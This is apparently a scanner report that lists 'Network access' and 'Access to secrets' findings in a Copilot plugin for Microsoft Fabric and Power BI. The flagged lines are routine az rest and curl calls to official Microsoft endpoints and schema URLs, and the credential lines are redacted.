    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Access to secretsline 513
    [Credential-related source omitted]
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CORE.md

  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/ITEM-DEFINITIONS-CORE.md

  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 522
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.md

  • Network accessline 139
    **Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 140
    or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 142
    Linux: distro package or [nodesource](https://github.com/nodesource/distributions).
  • Network accessline 323
    | Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th
  • Network accessline 324
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea
  • Network accessline 325
    | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep
  • Network accessline 326
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me
  • Network accessline 327
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) |
  • Network accessline 410
    For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
  • Network accessline 411
    availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.md

  • Network accessline 69
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 70
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 89
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 90
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 202
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 203
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.md

  • Network accessline 27
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 28
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 64
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.md

  • Network accessline 46
    > **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc
  • Network accessline 47
    > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`.
  • Network accessline 845
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
